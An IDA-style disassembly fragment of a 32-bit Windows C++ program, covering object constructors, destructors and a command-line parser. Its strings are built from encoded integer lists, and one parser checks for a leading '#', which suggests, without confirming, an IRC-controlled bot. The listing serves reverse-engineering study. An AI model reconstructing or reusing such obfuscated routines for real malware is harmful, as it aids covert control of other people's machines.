		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C680E890h
		dd 0C88B023Fh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
